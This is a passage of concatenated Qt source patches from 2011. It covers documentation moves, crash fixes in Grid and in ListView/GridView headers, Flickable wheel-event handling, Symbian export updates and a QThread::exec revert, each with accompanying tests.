{ - id: filedelegate + id: fileDelegate Text { text: fileName } } - model: foldermodel - delegate: filedelegate + + model: folderModel + delegate: fileDelegate } //![0] -- cgit v0.12 From a3010164fd904f4efe2dadb3df699004edaabd95 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 1 Feb 2011 16:20:27 +1000 Subject: Move Qt.application docs into Qt global object page Previously it was documented as a separate 'Application' element Reviewed-by: Martin Jones --- doc/src/declarative/qmlviewer.qdoc | 3 ++ doc/src/snippets/declarative/application.qml | 14 +++--- src/declarative/qml/qdeclarativeengine.cpp | 60 ++++++++++++++++++++++-- src/declarative/util/qdeclarativeapplication.cpp | 53 ++------------------- 4 files changed, 69 insertions(+), 61 deletions(-) diff --git a/doc/src/declarative/qmlviewer.qdoc b/doc/src/declarative/qmlviewer.qdoc index cfb762c..585b402 100644 --- a/doc/src/declarative/qmlviewer.qdoc +++ b/doc/src/declarative/qmlviewer.qdoc @@ -192,6 +192,9 @@ Rectangle { } \endqml +\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer, +through the \c active property of the \l {QML:Qt::application}{Qt.application} object. + \row \o \c runtime.orientation diff --git a/doc/src/snippets/declarative/application.qml b/doc/src/snippets/declarative/application.qml index 2820ff2..06f83f2 100644 --- a/doc/src/snippets/declarative/application.qml +++ b/doc/src/snippets/declarative/application.qml @@ -42,12 +42,12 @@ import QtQuick 1.1 Rectangle { - width: 300; height: 55 - color: Qt.application.active ? "white" : "lightgray" - Text { - text: "Application " + (Qt.application.active ? "active" : "inactive") - opacity: Qt.application.active ? 1.0 : 0.5 - anchors.centerIn: parent - } + width: 300; height: 55 + color: Qt.application.active ? "white" : "lightgray" + Text { + text: "Application " + (Qt.application.active ? "active" : "inactive") + opacity: Qt.application.active ? 1.0 : 0.5 + anchors.centerIn: parent + } } //! [document] diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e3be599..890f500 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -204,8 +204,9 @@ void QDeclarativeEnginePrivate::defineModule() \brief The \c Qt object provides useful enums and functions from Qt, for use in all QML files. -The \c Qt object is not a QML element; it cannot be instantiated. It is a global object -with enums and functions. To use it, call the members of the global \c Qt object directly. +The \c Qt object is a global object with utility functions, properties and enums. + +It is not instantiable; to use it, call the members of the global \c Qt object directly. For example: \qml @@ -220,8 +221,8 @@ Text { \section1 Enums -The Qt object contains enums that declared into Qt's Meta-Object System. For example, you can access -the \c Leftbutton member of the \c Qt::MouseButton enum with \c Qt.LeftButton. +The Qt object contains the enums available in the \l {Qt Namespace}. For example, you can access +the \l Qt::LeftButton and \l Qt::RightButton enum values as \c Qt.LeftButton and \c Qt.RightButton. \section1 Types @@ -263,6 +264,57 @@ of their use. \endlist */ + +/*! + \qmlproperty object QML:Qt::application + \since QtQuick 1.1 + + The \c application object provides access to global application state + properties shared by many QML components. + + Its properties are: + + \table + \row + \o \c application.active + \o + This read-only property indicates whether the application is the top-most and focused + application, and the user is able to interact with the application. The property + is false when the application is in the background, the device keylock or screen + saver is active, the screen backlight is turned off, or the global system dialog + is being displayed on top of the application. It can be used for stopping and + pausing animations, timers and active processing of data in order to save device + battery power and free device memory and processor load when the application is not + active. + + \row + \o \c application.layoutDirection + \o + This read-only property can be used to query the default layout direction of the + application. On system start-up, the default layout direction depends on the + application's language. The property has a value of \c Qt.RightToLeft in locales + where text and graphic elements are read from right to left, and \c Qt.LeftToRight + where the reading direction flows from left to right. You can bind to this + property to customize your application layouts to support both layout directions. + + Possible values are: + + \list + \o Qt.LeftToRight - Text and graphics elements should be positioned + from left to right. + \o Qt.RightToLeft - Text and graphics elements should be positioned + from right to left. + \endlist + \endtable + + The following example uses the \c application object to indicate + whether the application is currently active: + + \snippet doc/src/snippets/declarative/application.qml document + +*/ + + /*! \qmlmethod object Qt::include(string url, jsobject callback) diff --git a/src/declarative/util/qdeclarativeapplication.cpp b/src/declarative/util/qdeclarativeapplication.cpp index 7ecce1e..e0f6df2 100644 --- a/src/declarative/util/qdeclarativeapplication.cpp +++ b/src/declarative/util/qdeclarativeapplication.cpp @@ -55,22 +55,9 @@ public: Qt::LayoutDirection layoutDirection; }; -/*! - \qmlclass Application QDeclarativeApplication - \since QtQuick 1.1 - \ingroup qml-utility-elements - \brief The Application element provides access to global application - state properties shared by many QML components. - - These properties include application activity property \c active, - and default layout direction property \c layoutDirection. - - \section1 Example Usage - - The following example shows the simplest usage of the Application element. - - \snippet doc/src/snippets/declarative/application.qml document - +/* + This object and its properties are documented as part of the Qt object, + in qdeclarativengine.cpp */ QDeclarativeApplication::QDeclarativeApplication(QObject *parent) : QObject(*new QDeclarativeApplicationPrivate(), parent) @@ -83,46 +70,12 @@ QDeclarativeApplication::~QDeclarativeApplication() { } -/*! - \qmlproperty bool Application::active - - This property indicates whether the application is the top-most and focused - application, and user is able to interact with the application. The property - is false when the application is on the background, device keylock or screen - saver is active, the screen backlight is turned off, or global system dialog - is being displayed on top of the application. It can be used for stopping and - pausing animations, timers, active processing of data to save device battery - and free device memory and processor load when the application is not active. - This property is readonly. - -*/ bool QDeclarativeApplication::active() const { Q_D(const QDeclarativeApplication); return d->active; } -/*! - \qmlproperty enumeration Application::layoutDirection - - This property can be used to query the default layout direction of the - application. On system start-up, the default layout direction depends on the - application's language. The property has a value Qt.RightToLeft in locales - where text and graphic elements are read from right to left, and Qt.LeftToRight - where the reading direction flows from left to right. You can bind to the - property to customize your application layouts to support both layout - directions. This property is readonly. - - Possible values are: - - \list - \o Qt.LeftToRight - Text and graphics elements should be positioned - from left to right. - \o Qt.RightToLeft - Text and graphics elements should be positioned - from right to left. - \endlist - -*/ Qt::LayoutDirection QDeclarativeApplication::layoutDirection() const { Q_D(const QDeclarativeApplication); -- cgit v0.12 From 49df52abc004419f35bb6b508fb681c028a7c679 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 2 Feb 2011 13:20:11 +1000 Subject: Avoid index-out-of bounds related crash in Grid Task-number: QTBUG-16959 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativepositioners.cpp | 2 +- .../qdeclarativepositioners/data/repeatertest.qml | 20 +++++++++++++++++++- 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 9450647..4560d32 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -939,7 +939,7 @@ void QDeclarativeGrid::doPositioning(QSizeF *contentSize) if (i==0) maxColWidth << 0; - if (childIndex == positionedItems.count()) + if (childIndex == visibleItems.count()) break; const PositionedItem &child = visibleItems.at(childIndex++); diff --git a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml index 1cba598..f93ce67 100644 --- a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml +++ b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml @@ -12,9 +12,27 @@ Item { height: 50 z: {if(index == 0){2;}else if(index == 1){1;} else{3;}} objectName: {if(index == 0){"one";}else if(index == 1){"two";} else{"three";}} - } } } } + + //This crashed once (QTBUG-16959) because the repeater ended up on the end of the list + //If this grid just instantiates without crashing, then it has not regressed. + Grid { + id: grid + rows: 2 + flow: Grid.TopToBottom + + Repeater { + model: 13 + Rectangle { + color: "goldenrod" + width: 100 + height: 100 + radius: 10 + border.width: 1 + } + } + } } -- cgit v0.12 From 13d59acef59952e07d98c2947c25da33418c2465 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 2 Feb 2011 14:01:04 +1000 Subject: Changing header or footer failed to delete the previous. Also ensure that the view is repositioned if the change of header results in the view being out of bounds. Task-number: QTBUG-16522 Reviewed-by: Michael Brasser --- .../graphicsitems/qdeclarativegridview.cpp | 8 ++++++ .../graphicsitems/qdeclarativelistview.cpp | 8 ++++++ .../qdeclarativegridview/data/footer.qml | 8 ++++++ .../qdeclarativegridview/data/header.qml | 8 ++++++ .../tst_qdeclarativegridview.cpp | 30 ++++++++++++++++++++++ .../qdeclarativelistview/data/footer.qml | 8 ++++++ .../qdeclarativelistview/data/header.qml | 9 ++++++- .../tst_qdeclarativelistview.cpp | 30 ++++++++++++++++++++++ 8 files changed, 108 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 6a6ff64..9aade98 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1779,6 +1779,9 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer) Q_D(QDeclarativeGridView); if (d->footerComponent != footer) { if (d->footer) { + if (scene()) + scene()->removeItem(d->footer->item); + d->footer->item->deleteLater(); delete d->footer; d->footer = 0; } @@ -1786,6 +1789,7 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer) if (isComponentComplete()) { d->updateFooter(); d->updateGrid(); + d->fixupPosition(); } emit footerChanged(); } @@ -1811,6 +1815,9 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header) Q_D(QDeclarativeGridView); if (d->headerComponent != header) { if (d->header) { + if (scene()) + scene()->removeItem(d->header->item); + d->header->item->deleteLater(); delete d->header; d->header = 0; } @@ -1819,6 +1826,7 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header) d->updateHeader(); d->updateFooter(); d->updateGrid(); + d->fixupPosition(); } emit headerChanged(); } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index cbc4311..075c3af 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -2232,6 +2232,9 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer) Q_D(QDeclarativeListView); if (d->footerComponent != footer) { if (d->footer) { + if (scene()) + scene()->removeItem(d->footer->item); + d->footer->item->deleteLater(); delete d->footer; d->footer = 0; } @@ -2241,6 +2244,7 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer) if (isComponentComplete()) { d->updateFooter(); d->updateViewport(); + d->fixupPosition(); } emit footerChanged(); } @@ -2266,6 +2270,9 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header) Q_D(QDeclarativeListView); if (d->headerComponent != header) { if (d->header) { + if (scene()) + scene()->removeItem(d->header->item); + d->header->item->deleteLater(); delete d->header; d->header = 0; } @@ -2276,6 +2283,7 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header) d->updateHeader(); d->updateFooter(); d->updateViewport(); + d->fixupPosition(); } emit headerChanged(); } diff --git a/tests/auto/declarative/qdeclarativegridview/data/footer.qml b/tests/auto/declarative/qdeclarativegridview/data/footer.qml index ad69a25..b41e2ac 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/footer.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/footer.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeFooter() { + grid.footer = footer2 + } width: 240 height: 320 color: "#ffffff" @@ -29,4 +32,9 @@ Rectangle { delegate: myDelegate footer: Text { objectName: "footer"; text: "Footer"; height: 30 } } + + Component { + id: footer2 + Text { objectName: "footer2"; text: "Footer 2"; height: 20 } + } } diff --git a/tests/auto/declarative/qdeclarativegridview/data/header.qml b/tests/auto/declarative/qdeclarativegridview/data/header.qml index 99baacd..f39da55 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/header.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/header.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeHeader() { + grid.header = header2 + } width: 240 height: 320 color: "#ffffff" @@ -29,4 +32,9 @@ Rectangle { delegate: myDelegate header: Text { objectName: "header"; text: "Header"; height: 30 } } + + Component { + id: header2 + Text { objectName: "header2"; text: "Header 2"; height: 20 } + } } diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp index a6a8b90..82a1a4a 100644 --- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp @@ -1370,12 +1370,27 @@ void tst_QDeclarativeGridView::footer() QVERIFY(footer); QCOMPARE(footer->y(), 180.0); + QCOMPARE(footer->height(), 30.0); model.removeItem(2); QTRY_COMPARE(footer->y(), 120.0); model.clear(); QTRY_COMPARE(footer->y(), 0.0); + + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter"); + + footer = findItem(contentItem, "footer"); + QVERIFY(!footer); + footer = findItem(contentItem, "footer2"); + QVERIFY(footer); + + QCOMPARE(footer->y(), 0.0); + QCOMPARE(footer->height(), 20.0); + QCOMPARE(gridview->contentY(), 0.0); } void tst_QDeclarativeGridView::header() @@ -1402,6 +1417,7 @@ void tst_QDeclarativeGridView::header() QVERIFY(header); QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 30.0); QCOMPARE(gridview->contentY(), 0.0); QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); @@ -1410,6 +1426,20 @@ void tst_QDeclarativeGridView::header() model.clear(); QTRY_COMPARE(header->y(), 0.0); + + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader"); + + header = findItem(contentItem, "header"); + QVERIFY(!header); + header = findItem(contentItem, "header2"); + QVERIFY(header); + + QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 20.0); + QCOMPARE(gridview->contentY(), 0.0); } void tst_QDeclarativeGridView::indexAt() diff --git a/tests/auto/declarative/qdeclarativelistview/data/footer.qml b/tests/auto/declarative/qdeclarativelistview/data/footer.qml index 4cbd33b..33e04f1 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/footer.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/footer.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeFooter() { + list.footer = footer2 + } width: 240 height: 320 color: "#ffffff" @@ -27,4 +30,9 @@ Rectangle { delegate: myDelegate footer: Text { objectName: "footer"; text: "Footer"; height: 30 } } + + Component { + id: footer2 + Text { objectName: "footer2"; text: "Footer 2"; height: 20 } + } } diff --git a/tests/auto/declarative/qdeclarativelistview/data/header.qml b/tests/auto/declarative/qdeclarativelistview/data/header.qml index 6da996e..38cdd6e 100644 --- a/tests/auto/declarative/qdeclarativelistview/data/header.qml +++ b/tests/auto/declarative/qdeclarativelistview/data/header.qml @@ -1,6 +1,9 @@ import QtQuick 1.0 Rectangle { + function changeHeader() { + list.header = header2 + } width: 240 height: 320 color: "#ffffff" @@ -26,6 +29,10 @@ Rectangle { snapMode: ListView.SnapToItem model: testModel delegate: myDelegate - header: Text { objectName: "header"; text: "Header"; height: 10 } + header: Text { objectName: "header"; text: "Header"; height: 20 } + } + Component { + id: header2 + Text { objectName: "header2"; text: "Header 2"; height: 10 } } } diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index 4fff071..86b68ca 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -1736,12 +1736,27 @@ void tst_QDeclarativeListView::header() QDeclarativeText *header = findItem(contentItem, "header"); QVERIFY(header); QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 20.0); QCOMPARE(listview->contentY(), 0.0); model.clear(); QTRY_COMPARE(header->y(), 0.0); + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader"); + + header = findItem(contentItem, "header"); + QVERIFY(!header); + header = findItem(contentItem, "header2"); + QVERIFY(header); + + QCOMPARE(header->y(), 0.0); + QCOMPARE(header->height(), 10.0); + QCOMPARE(listview->contentY(), 0.0); + delete canvas; } { @@ -1796,6 +1811,7 @@ void tst_QDeclarativeListView::footer() QDeclarativeText *footer = findItem(contentItem, "footer"); QVERIFY(footer); QCOMPARE(footer->y(), 60.0); + QCOMPARE(footer->height(), 30.0); model.removeItem(1); QTRY_COMPARE(footer->y(), 40.0); @@ -1803,6 +1819,20 @@ void tst_QDeclarativeListView::footer() model.clear(); QTRY_COMPARE(footer->y(), 0.0); + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), ""); + + QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter"); + + footer = findItem(contentItem, "footer"); + QVERIFY(!footer); + footer = findItem(contentItem, "footer2"); + QVERIFY(footer); + + QCOMPARE(footer->y(), 0.0); + QCOMPARE(footer->height(), 20.0); + QCOMPARE(listview->contentY(), 0.0); + delete canvas; } -- cgit v0.12 From ac5e89a2fd94c4eb45e79e2c19b3ef5e9b240cb9 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 2 Feb 2011 16:06:36 +1000 Subject: Make Flickable's wheel handling more like QAbstractScrollArea. Vertical scrolling should only affect vertical movement, and horizontal scrolling should only affect horizontal movement. Task-number: QTBUG-7369 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativeflickable.cpp | 4 +-- .../qdeclarativeflickable/data/wheel.qml | 21 ++++++++++++ .../tst_qdeclarativeflickable.cpp | 39 ++++++++++++++++++++++ 3 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeflickable/data/wheel.qml diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index ba5e12c..87578b4 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -876,7 +876,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event) Q_D(QDeclarativeFlickable); if (!d->interactive) { QDeclarativeItem::wheelEvent(event); - } else if (yflick()) { + } else if (yflick() && event->orientation() == Qt::Vertical) { if (event->delta() > 0) d->vData.velocity = qMax(event->delta() - d->vData.smoothVelocity.value(), qreal(250.0)); else @@ -888,7 +888,7 @@ void QDeclarativeFlickable::wheelEvent(QGraphicsSceneWheelEvent *event) movementStarting(); } event->accept(); - } else if (xflick()) { + } else if (xflick() && event->orientation() == Qt::Horizontal) { if (event->delta() > 0) d->hData.velocity = qMax(event->delta() - d->hData.smoothVelocity.value(), qreal(250.0)); else diff --git a/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml new file mode 100644 index 0000000..6ea81b2 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml @@ -0,0 +1,21 @@ +import QtQuick 1.1 + +Rectangle { + width: 400 + height: 400 + color: "gray" + + Flickable { + id: flick + objectName: "flick" + anchors.fill: parent + contentWidth: 800 + contentHeight: 800 + + Rectangle { + width: flick.contentWidth + height: flick.contentHeight + color: "red" + } + } +} diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp index ae1e99e..f4bec8f 100644 --- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp +++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp @@ -42,6 +42,7 @@ #include #include #include +#include #include #include #include @@ -74,6 +75,7 @@ private slots: void returnToBounds(); void testQtQuick11Attributes(); void testQtQuick11Attributes_data(); + void wheel(); private: QDeclarativeEngine engine; @@ -373,6 +375,43 @@ void tst_qdeclarativeflickable::testQtQuick11Attributes_data() } +void tst_qdeclarativeflickable::wheel() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/wheel.qml")); + canvas->show(); + canvas->setFocus(); + QVERIFY(canvas->rootObject() != 0); + + QDeclarativeFlickable *flick = canvas->rootObject()->findChild("flick"); + QVERIFY(flick != 0); + + QGraphicsScene *scene = canvas->scene(); + QGraphicsSceneWheelEvent event(QEvent::GraphicsSceneWheel); + event.setScenePos(QPointF(200, 200)); + event.setDelta(-120); + event.setOrientation(Qt::Vertical); + event.setAccepted(false); + QApplication::sendEvent(scene, &event); + + QTRY_VERIFY(flick->contentY() > 0); + QVERIFY(flick->contentX() == 0); + + flick->setContentY(0); + QVERIFY(flick->contentY() == 0); + + event.setScenePos(QPointF(200, 200)); + event.setDelta(-120); + event.setOrientation(Qt::Horizontal); + event.setAccepted(false); + QApplication::sendEvent(scene, &event); + + QTRY_VERIFY(flick->contentX() > 0); + QVERIFY(flick->contentY() == 0); + + delete canvas; +} + template T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName) -- cgit v0.12 From ebc0ad51ab319aefd88939963ecf172867b36f5a Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 2 Feb 2011 16:24:50 +1000 Subject: Export QDeclarativeRefCount so that symbian compiles. --- src/declarative/qml/qdeclarativerefcount_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativerefcount_p.h b/src/declarative/qml/qdeclarativerefcount_p.h index 868cdc4..b896e5f 100644 --- a/src/declarative/qml/qdeclarativerefcount_p.h +++ b/src/declarative/qml/qdeclarativerefcount_p.h @@ -61,7 +61,7 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) -class Q_AUTOTEST_EXPORT QDeclarativeRefCount +class Q_DECLARATIVE_EXPORT QDeclarativeRefCount { public: QDeclarativeRefCount(); -- cgit v0.12 From e44f8f098c8213e7f2b50c6a9b8c222b3a23b6a9 Mon Sep 17 00:00:00 2001 From: Kalle Juhani Lehtonen Date: Wed, 2 Feb 2011 18:44:53 +1000 Subject: Update QDeclarative DEF files for Symbian Reviewed-by: Martin Jones --- src/s60installs/bwins/QtDeclarativeu.def | 7 ++++++- src/s60installs/eabi/QtDeclarativeu.def | 9 +++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/src/s60installs/bwins/QtDeclarativeu.def b/src/s60installs/bwins/QtDeclarativeu.def index a287def..7d0a83e 100644 --- a/src/s60installs/bwins/QtDeclarativeu.def +++ b/src/s60installs/bwins/QtDeclarativeu.def @@ -704,7 +704,7 @@ EXPORTS ??4QDeclarativeDomDocument@@QAEAAV0@ABV0@@Z @ 703 NONAME ABSENT ; class QDeclarativeDomDocument & QDeclarativeDomDocument::operator=(class QDeclarativeDomDocument const &) ??0QDeclarativeOpenMetaObject@@QAE@PAVQObject@@PAVQDeclarativeOpenMetaObjectType@@_N@Z @ 704 NONAME ABSENT ; QDeclarativeOpenMetaObject::QDeclarativeOpenMetaObject(class QObject *, class QDeclarativeOpenMetaObjectType *, bool) ?trUtf8@QDeclarativeExpression@@SA?AVQString@@PBD0@Z @ 705 NONAME ; class QString QDeclarativeExpression::trUtf8(char const *, char const *) - ??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *) + ??0QPacketProtocol@@QAE@PAVQIODevice@@PAVQObject@@@Z @ 706 NONAME ; QPacketProtocol::QPacketProtocol(class QIODevice *, class QObject *) ??1QDeclarativeListReference@@QAE@XZ @ 707 NONAME ; QDeclarativeListReference::~QDeclarativeListReference(void) ?clearError@QDeclarativeExpression@@QAEXXZ @ 708 NONAME ; void QDeclarativeExpression::clearError(void) ?setLineNumber@QDeclarativeDebugFileReference@@QAEXH@Z @ 709 NONAME ABSENT ; void QDeclarativeDebugFileReference::setLineNumber(int) @@ -1883,4 +1883,9 @@ EXPORTS ?d_func@QDeclarativeDebugServer@@AAEPAVQDeclarativeDebugServerPrivate@@XZ @ 1882 NONAME ; class QDeclarativeDebugServerPrivate * QDeclarativeDebugServer::d_func(void) ?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1883 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *, int) ?implicitWidth@QDeclarativeItemPrivate@@UBEMXZ @ 1884 NONAME ; float QDeclarativeItemPrivate::implicitWidth(void) const + ??_EQDeclarativeRefCount@@UAE@I@Z @ 1885 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(unsigned int) + ??0QDeclarativeRefCount@@QAE@XZ @ 1886 NONAME ; QDeclarativeRefCount::QDeclarativeRefCount(void) + ??1QDeclarativeRefCount@@UAE@XZ @ 1887 NONAME ; QDeclarativeRefCount::~QDeclarativeRefCount(void) + ?addref@QDeclarativeRefCount@@QAEXXZ @ 1888 NONAME ; void QDeclarativeRefCount::addref(void) + ?release@QDeclarativeRefCount@@QAEXXZ @ 1889 NONAME ; void QDeclarativeRefCount::release(void) diff --git a/src/s60installs/eabi/QtDeclarativeu.def b/src/s60installs/eabi/QtDeclarativeu.def index fe2a7a1..95180d4 100644 --- a/src/s60installs/eabi/QtDeclarativeu.def +++ b/src/s60installs/eabi/QtDeclarativeu.def @@ -1921,4 +1921,13 @@ EXPORTS _ZNK7QPacket4dataEv @ 1920 NONAME _ZTI23QDeclarativeDebugServer @ 1921 NONAME _ZTV23QDeclarativeDebugServer @ 1922 NONAME + _ZN20QDeclarativeRefCount6addrefEv @ 1923 NONAME + _ZN20QDeclarativeRefCount7releaseEv @ 1924 NONAME + _ZN20QDeclarativeRefCountC1Ev @ 1925 NONAME + _ZN20QDeclarativeRefCountC2Ev @ 1926 NONAME + _ZN20QDeclarativeRefCountD0Ev @ 1927 NONAME + _ZN20QDeclarativeRefCountD1Ev @ 1928 NONAME + _ZN20QDeclarativeRefCountD2Ev @ 1929 NONAME + _ZTI20QDeclarativeRefCount @ 1930 NONAME + _ZTV20QDeclarativeRefCount @ 1931 NONAME -- cgit v0.12 From 9fa392cdb528db0bb5073892484c809e99ae27b3 Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 2 Feb 2011 09:27:53 +0100 Subject: Revert "Restore Qt 4.6 behaviour: exec() always enters the event loop." This reverts commit 2e72a8b19ea6c674fb4777860dac50faa5d387e6. The behavour in Qt 4.6 was wrong. And even if it was not documented, it is too late to change the behaviour back at this point. The tests for QEventLoop and QCoreApplication have not been reverted Reviewed-by: Brad --- src/corelib/thread/qthread.cpp | 5 +- tests/auto/qthread/tst_qthread.cpp | 191 +++++++++++-------------------------- 2 files changed, 58 insertions(+), 138 deletions(-) diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp index f4bfa5d..f368192 100644 --- a/src/corelib/thread/qthread.cpp +++ b/src/corelib/thread/qthread.cpp @@ -482,7 +482,10 @@ int QThread::exec() Q_D(QThread); QMutexLocker locker(&d->mutex); d->data->quitNow = false; - d->exited = false; + if (d->exited) { + d->exited = false; + return d->returnCode; + } locker.unlock(); QEventLoop eventLoop; diff --git a/tests/auto/qthread/tst_qthread.cpp b/tests/auto/qthread/tst_qthread.cpp index c7036e4..e6bf9ce 100644 --- a/tests/auto/qthread/tst_qthread.cpp +++ b/tests/auto/qthread/tst_qthread.cpp @@ -86,7 +86,6 @@ private slots: void start(); void terminate(); void quit(); - void execAfterQuit(); void wait(); void started(); void finished(); @@ -266,34 +265,6 @@ public: } }; -class ExecAfterQuitThreadHelper: public QObject -{ - Q_OBJECT - QThread *thr; -public: - ExecAfterQuitThreadHelper(QThread *thr) : thr(thr) {} -public slots: - void doIt() { thr->exit(0); } -}; - -class ExecAfterQuitThread: public QThread -{ -public: - int returnValue; - void run() - { - ExecAfterQuitThreadHelper obj(this); - - QMetaObject::invokeMethod(&obj, "doIt", Qt::QueuedConnection); - exit(1); - - // returnValue will be either 0 or 1, depending on which of the two - // above take effect. The correct value is 0, since exit(1) before - // exec() should have no effect - returnValue = exec(); - } -}; - tst_QThread::tst_QThread() { @@ -453,52 +424,34 @@ void tst_QThread::stackSize() void tst_QThread::exit() { - { - Exit_Thread thread; - thread.object = new Exit_Object; - thread.object->moveToThread(&thread); - thread.code = 42; - thread.result = 0; - QVERIFY(!thread.isFinished()); - QVERIFY(!thread.isRunning()); - - QMutexLocker locker(&thread.mutex); - thread.start(); - QVERIFY(thread.isRunning()); - QVERIFY(!thread.isFinished()); - // but the thread is not running the event loop yet (the mutex is locked) - - // start the event loop - thread.cond.wait(locker.mutex()); - - // the Exit_Object above will cause the thread to exit - QVERIFY(thread.wait(five_minutes)); - QVERIFY(thread.isFinished()); - QVERIFY(!thread.isRunning()); - QCOMPARE(thread.result, thread.code); - delete thread.object; - } + Exit_Thread thread; + thread.object = new Exit_Object; + thread.object->moveToThread(&thread); + thread.code = 42; + thread.result = 0; + QVERIFY(!thread.isFinished()); + QVERIFY(!thread.isRunning()); + QMutexLocker locker(&thread.mutex); + thread.start(); + QVERIFY(thread.isRunning()); + QVERIFY(!thread.isFinished()); + thread.cond.wait(locker.mutex()); + QVERIFY(thread.wait(five_minutes)); + QVERIFY(thread.isFinished()); + QVERIFY(!thread.isRunning()); + QCOMPARE(thread.result, thread.code); + delete thread.object; - { - Exit_Thread thread2; - thread2.object = 0; - thread2.code = 53; - thread2.result = 0; - QMutexLocker locker2(&thread2.mutex); - thread2.start(); - - // the mutex is locked, so the thread has *not* started running the event loop yet - // this will do nothing: - 